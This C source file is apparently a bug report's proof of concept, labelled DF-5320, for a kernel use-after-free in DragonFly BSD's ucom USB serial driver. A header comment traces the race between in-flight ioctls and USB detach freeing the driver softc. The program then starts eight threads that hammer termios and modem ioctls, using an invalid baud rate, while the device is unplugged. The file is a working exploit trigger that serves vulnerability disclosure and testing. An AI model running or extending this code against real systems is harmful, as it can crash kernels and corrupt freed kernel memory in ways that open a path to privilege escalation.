DF-5320 / ucom_race.c
/* * DF-5320 PoC v2 -- race in-flight ucom ioctls against USB detach (kfree). * * On DragonFly, devfs revokes the vnode of a destroyed device node, so a * syscall issued AFTER the detach completed returns EBADF harmlessly. The * use-after-free window is a syscall that is ALREADY INSIDE ucom_dev_ioctl * (past devfs_fo_ioctl's v_rdev check) when the driver's detach routine * returns and device_set_driver() kfrees the softc (M_BUS): * * T1: ioctl -> ucom_dev_ioctl: sc=si_drv1 (valid) -> UCOM_MTX_LOCK(sc) * ...blocked on the sc_lock which the USB thread holds in * ucom_detach_tty's force-close section... * T2 (usb): ucom_detach_tty drops sc_lock, ucom_detach returns, * uftdi_detach returns, device_set_driver -> kfree(softc) * T1: acquires the NOW-FREED embedded lock (lockmgr writes lock_owner * into freed slab), then walks the freed softc: HL_READY/GONE stale * bits, ttioctl -> ttparam -> ucom_param -> ucom_queue_command -> * usb_proc_msignal(&ssc->sc_tq,...) on the freed+drained usb_process. * * This program keeps N threads spinning TIOCSETA/TIOCGETA/TIOCMGET on one * open fd; the orchestrator unplugs the USB device while the storm runs. */ #include <sys/ioctl.h> #include <pthread.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <termios.h> #include <time.h> #include <unistd.h> #include <errno.h> static volatile int stop; static const char *dev; static void * storm(void *arg) { struct termios tio; int fd, id = (int)(intptr_t)arg, d, i = 0, rc; while (!stop) { fd = open(dev, O_RDWR | O_NONBLOCK | O_NOCTTY); if (fd < 0) { usleep(200); continue; } /* * Re-open each iteration as well: the detach/kfree-vs-devfs * destroy race also makes fresh opens land on the freed softc. */ for (i = 0; i < 50 && !stop; i++) { rc = ioctl(fd, TIOCMGET, &d); if (rc < 0 && errno == EBADF) break; rc = tcgetattr(fd, &tio); if (rc < 0 && errno == EBADF) break; tio.c_ispeed = tio.c_ospeed = 123456; cfsetospeed(&tio, (speed_t)123456); /* invalid rate: forces the pre_param walk */ cfsetispeed(&tio, (speed_t)123456); rc = tcsetattr(fd, TCSANOW, &tio); if (rc < 0 && errno == EBADF) break; rc = ioctl(fd, TIOCFLUSH, &d); if (rc < 0 && errno == EBADF) break; } close(fd); } return (NULL); } int main(int argc, char **argv) { pthread_t th[8]; int i, secs; if (argc != 3) { fprintf(stderr, "usage: %s <ttydev> <seconds>\n", argv[0]); exit(2); } dev = argv[1]; secs = atoi(argv[2]); for (i = 0; i < 8; i++) pthread_create(&th[i], NULL, storm, (void *)(intptr_t)i); sleep(secs); stop = 1; for (i = 0; i < 8; i++) pthread_join(th[i], NULL); printf("[*] storm finished\n"); return (0); } |